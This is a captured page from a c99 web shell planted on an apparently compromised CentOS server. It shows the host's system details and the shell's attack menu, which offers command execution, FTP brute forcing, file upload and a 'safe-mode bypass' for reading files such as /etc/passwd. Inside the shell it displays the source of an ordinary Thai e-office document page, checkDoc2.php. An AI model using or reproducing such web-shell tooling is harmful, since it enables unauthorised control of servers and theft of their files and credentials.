!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     checkDoc2.php (12.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
include_once("../../class/clsConnection.php");
    include_once(
"../../class/clsDB.php");
    include_once 
"../global.php";
    include_once 
"../class/clsDocReceiveSend.php";
    include_once 
"../class/clsDocuments.php";
    include_once 
"../class/clsDepartment.php";
    include_once 
"../class/clsDocLinePosition.php";
    include_once 
"../class/clsDocLineConfig.php";
    include_once 
"../link/keyThai.php";
    
    
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
    
$oRs = new DocReceiveSend($oC);
    
$oRs2 = new DocReceiveSend($oC);
    
$oDoc = new Documents($oC);
    
$oDoc2 = new Documents($oC);
    
$oDP = new Department($oC);
    
$oDlp = new docLinePosition($oC);
    
$oDlp2 = new docLinePosition($oC);
    
$oDlp3 = new docLinePosition($oC);
    
$oDlp4 = new docLinePosition($oC);
    
$oDlc = new docLineConfig($oC);
    
$oDlc1 = new docLineConfig($oC);
    
$oDlc2 = new docLineConfig($oC);
    
$oDlc3 = new docLineConfig($oC);
    
$oDlp1 = new docLinePosition($oC);
    
$oDoc3 = new Documents($oC);
    
$Maxgroup=$oDP->SearchMaxDocGroup();



echo 
"<table width=\"95%\" border=\"0\" cellpadding=\"2\" cellspacing=\"2\"><tr><td align=left height=25><font size=\"2\" color=\"#009900\"><strong>ระบบสารบรรณ</strong></font></td></tr>";
?>
<? 
    
    $i
=0;
    
$oRs2->SearchBypersonIdDocGroupDsID0($personId,$Maxgroup); 
    
$i $oRs2->NumRow();
    
$countdoc=$countdoc+$i;
            if(
$i!="0"){
            echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>ผู้ใช้ทั่วไป ::</strong></font></td></tr>
                        <tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือเข้าที่ยังไม่ได้เปิดอ่าน&nbsp;"
.a2th($i)."&nbsp;รายการ</td></tr>";
            }
    
    
    
$oDlp->SearchByGpID(107);
    while(
$oDlp->GetRecord()){
            
$oDlc->SearchByPsPositionDlpIDActiveY($personId,$oDlp->DlpID,$Maxgroup);
            while(
$oDlc->GetRecord()){
                        
$oDlp1->SearchByKey($oDlc->DlpID);
                        
$oDlp1->GetRecord();
                        
$oDP->SearchByKey($oDlc->deptId);
                        
$oDP->GetRecord(); 

                        
$oDlc2->SearchByKey($oDlc->DlcID); $oDlc2->GetRecord(); 
                        
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                        if(
$oDlp1->DlpPID!="0"){ 
                            
$DlcPS2=$oDlc3->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                         }else{
                            
$DlcPS2=$oDlc3->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                        }
                        
$oDoc->SearchByDlcIDDocGroupPSDlcID2DsID0DrsSendDate($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                        
$i=0;
                        
$i $oDoc->NumRow();
                        
$countdoc=$countdoc+$i;

                                if(
$i!="0"){
                                            echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>เจ้าหน้าที่สารบรรณ ::</strong></font></td></tr>
                                                        <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>
                                                        <tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือเข้า&nbsp;"
.a2th($i)."&nbsp;รายการ</td></tr>";
                                }
                        
                        
$oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                        
$j=0;
                        
$j $oRs->NumRow();
                        
$countdoc=$countdoc+$j;
                                if(
$j!="0"){
                                            if(
$i=="0"){ 
                                                    echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>เจ้าหน้าที่สารบรรณ ::</strong></font></td></tr>
                                                                <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>";
                                             } 
                                                    echo 
"<tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือแจ้งการส่งผิด&nbsp;".a2th($j)."&nbsp;รายการ</td></tr>";
                                }

                        
$oDoc3->SearchByDlcIDDocGroupPSDlcID2DsID3DrsSendDateDrsSEndnotY2($oDlc2->DlcID,$Maxgroup,$DlcPS2,$oDlc2->DlcID);
                        
$k=0;
                        
$k $oDoc3->NumRow();
                        
$countdoc=$countdoc+$k;
                                if(
$k!="0"){
                                            if(
$i=="0" && $j=="0"){ 
                                                        echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>เจ้าหน้าที่สารบรรณ ::</strong></font></td></tr>
                                                        <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>";
                                            } 
                                                        echo 
"<tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือลงนามแล้วรอส่ง&nbsp;".a2th($k)."&nbsp;รายการ</td></tr>";
                    
                                }    
                                
                            
            }
    }
    

    
$oDlp2->SearchByGpID(110);
    while(
$oDlp2->GetRecord()){
            
$oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp2->DlpID,$Maxgroup);
            while(
$oDlc2->GetRecord()){
                        
$oDlp1->SearchByKey($oDlc2->DlpID);
                        
$oDlp1->GetRecord();
                        
$oDP->SearchByKey($oDlc2->deptId);
                        
$oDP->GetRecord(); 
                        
                                
$oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if(
$oDlp1->DlpPID!="0"){ 
                                    
//$DlcPS2=$oDlc2->DlcID;
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }else{
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }
                                
                                
$oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                
$i=0;
                                
$i $oDoc->NumRow();
                                
$countdoc=$countdoc+$i;
                                    if(
$i!="0"){
                                        echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>หัวหน้าสารบรรณ ::</strong></font></td></tr>
                                                    <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>";
                                        echo 
"<tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือที่ยังไม่ได้ลงนาม&nbsp;".a2th($i)."&nbsp;รายการ</td></tr>";
                                    }
                                
                                
                                
$oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                
$j=0;
                                
$j $oRs->NumRow();
                                
$countdoc=$countdoc+$j;
                                        if(
$j!="0"){
                                                    if(
$i=="0"){ 
                                                        echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>หัวหน้าสารบรรณ ::</strong></font></td></tr>
                                                                    <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>";
                                                  } 
                                                        echo 
"<tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือแจ้งการส่งผิด&nbsp;".a2th($j)."&nbsp;รายการ</td></tr>";
                                        }                                
                                
                                
            }
    }

    

    
$oDlp3->SearchByGpID(111);
    while(
$oDlp3->GetRecord()){
            
$oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp3->DlpID,$Maxgroup);
            while(
$oDlc2->GetRecord()){
                        
$oDlp1->SearchByKey($oDlc2->DlpID);
                        
$oDlp1->GetRecord();
                        
$oDP->SearchByKey($oDlc2->deptId);
                        
$oDP->GetRecord(); 
                        
                                
$oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if(
$oDlp1->DlpPID!="0"){ 
                                    
//$DlcPS2=$oDlc2->DlcID;
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }else{
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }
                                
                                
$oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                
$i=0;
                                
$i $oDoc->NumRow();
                                
$countdoc=$countdoc+$i;
                                        if(
$i!="0"){
                                            echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>หัวหน้าหน่วยงาน ::</strong></font></td></tr>
                                                        <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>
                                                        <tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือที่ยังไม่ได้ลงนาม&nbsp;"
.a2th($i)."&nbsp;รายการ</td></tr>";
                                        }
                                
                                
$oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                
$j=0;
                                
$j $oRs->NumRow();
                                
$countdoc=$countdoc+$j;
                                        if(
$j!="0"){
                                                    if(
$i=="0"){ 
                                                                echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>หัวหน้าหน่วยงาน ::</strong></font></td></tr>
                                                                            <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>";
                                                    } 
                                                                echo 
"<tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือแจ้งการส่งผิด&nbsp;".a2th($j)."&nbsp;รายการ</td></tr>";
                                        }    
            }
    }
    

    
$oDlp4->SearchByGpID(112);
    while(
$oDlp4->GetRecord()){
            
$oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp4->DlpID,$Maxgroup);
            while(
$oDlc2->GetRecord()){
                        
$oDlp1->SearchByKey($oDlc2->DlpID);
                        
$oDlp1->GetRecord();
                        
$oDP->SearchByKey($oDlc2->deptId);
                        
$oDP->GetRecord(); 
                        
                                
$oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if(
$oDlp1->DlpPID!="0"){ 
                                    
//$DlcPS2=$oDlc2->DlcID;
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }else{
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }
                                
                                
$oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                
$i=0;
                                
$i $oDoc->NumRow();
                                
$countdoc=$countdoc+$i;
                                    if(
$i!="0"){
                                                echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>ผู้อำนวยการ ::</strong></font></td></tr>
                                                            <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>
                                                            <tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือที่ยังไม่ได้ลงนาม&nbsp;"
.a2th($i)."&nbsp;รายการ</td></tr>";
                                    }
                                
                                
                                
$oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                
$j=0;
                                
$j $oRs->NumRow();
                                
$countdoc=$countdoc+$j;
                                        if(
$j!="0"){
                                                    if(
$i=="0"){ 
                                                                echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>ผู้อำนวยการ ::</strong></font></td></tr>
                                                                            <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>";
                                                     }
                                                                echo 
"<tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือแจ้งการส่งผิด&nbsp;".a2th($j)."&nbsp;รายการ</td></tr>";
                                        }                            
                                
            }
    }
    
    
    
$oDlp3->SearchByGpID(115);
    while(
$oDlp3->GetRecord()){
            
$oDlc2->SearchByPsPositionDlpIDActiveY($personId,$oDlp3->DlpID,$Maxgroup);
            while(
$oDlc2->GetRecord()){
                        
$oDlp1->SearchByKey($oDlc2->DlpID);
                        
$oDlp1->GetRecord();
                        
$oDP->SearchByKey($oDlc2->deptId);
                        
$oDP->GetRecord(); 
                        
                                
$oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord();
                                
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
                                if(
$oDlp1->DlpPID!="0"){ 
                                    
//$DlcPS2=$oDlc2->DlcID;
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }else{
                                    
$DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId);
                                }
                                
                                
$oDoc->SearchByDocGroupDsID2DocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDlc2->DlcID,$DlcPS2);
                                
$i=0;
                                
$i $oDoc->NumRow();
                                
$countdoc=$countdoc+$i;
                                        if(
$i!="0"){
                                            echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>รองผู้อำนวยการ ::</strong></font></td></tr>
                                                        <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>
                                                        <tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือที่ยังไม่ได้ลงนาม&nbsp;"
.a2th($i)."&nbsp;รายการ</td></tr>";
                                        }
                                
                                
                                
$oRs->SearchByDlcIDDocGroupDrsSendBackDrsSendBackDlcID($oDlc2->DlcID,$Maxgroup,$DlcPS2);
                                
$j=0;
                                
$j $oRs->NumRow();
                                
$countdoc=$countdoc+$j;
                                        if(
$j!="0"){
                                                    if(
$i=="0"){ 
                                                        echo 
"<tr><td align=left>&nbsp;<font color=".$GLOBALS["COLOR_FONT_2"]." size=\"2\"><strong>รองผู้อำนวยการ ::</strong></font></td></tr>
                                                                    <tr><td align=left>&nbsp;&nbsp;&nbsp;&nbsp;- "
.$oDlp1->DlpName."&nbsp;(".$oDP->deptName.")</td></tr>";
                                                    } 
                                                        echo 
"<tr><td align=left>&nbsp;&nbsp;&nbsp; มีรายการหนังสือแจ้งการส่งผิด&nbsp;".a2th($i)."&nbsp;รายการ</td></tr>";
                                        }                                
                                
                                
            }
    }
    



echo 
"</table>";?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0207 ]--